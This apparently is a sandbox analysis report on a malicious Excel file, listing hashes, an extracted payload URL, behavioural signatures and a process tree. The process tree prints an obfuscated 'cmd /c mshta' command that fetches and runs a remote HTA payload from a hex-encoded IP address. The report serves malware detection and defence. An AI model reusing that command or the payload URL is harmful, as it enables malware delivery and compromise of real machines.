Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
12-11-2024 07:15
Behavioral task
behavioral1
Sample
8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls
Resource
win10v2004-20241007-en
General
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Target
8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls
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Size
142KB
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MD5
994d78ed4f375307b15d5886b8c7b1df
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SHA1
1f9fbed0fa4a791a6765351b8a242a79ec80d257
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SHA256
8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177
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SHA512
46b2b712071a87aad30f11b86be7a02f80ada10655762f263e8aaa9888b03b148fb49f73d565d2aedb10d9c7840c0737525bb5302e85f97ce85e9aa1da5b65f7
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SSDEEP
3072:4Rk3hbdlylKsgqopeJBWhZFGkE+cL2NdAlhEvN8B/W6X1yxYovrepMUdQ6gSz4iq:Qk3hbdlylKsgqopeJBWhZFVE+W2NdAli
Malware Config
Extracted
http://185.7.214.7/fer/fer.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1600 1800 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 24 2756 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1800 EXCEL.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1800 EXCEL.EXE 1800 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1800 EXCEL.EXE 1800 EXCEL.EXE 1800 EXCEL.EXE 1800 EXCEL.EXE 1800 EXCEL.EXE 1800 EXCEL.EXE 1800 EXCEL.EXE 1800 EXCEL.EXE 1800 EXCEL.EXE 1800 EXCEL.EXE 1800 EXCEL.EXE 1800 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1800 wrote to memory of 4620 1800 EXCEL.EXE 86 PID 1800 wrote to memory of 4620 1800 EXCEL.EXE 86 PID 1800 wrote to memory of 1600 1800 EXCEL.EXE 89 PID 1800 wrote to memory of 1600 1800 EXCEL.EXE 89 PID 1600 wrote to memory of 2756 1600 cmd.exe 91 PID 1600 wrote to memory of 2756 1600 cmd.exe 91
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1800 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:4620
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fer.html3⤵
- Blocklisted process makes network request
PID:2756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:2132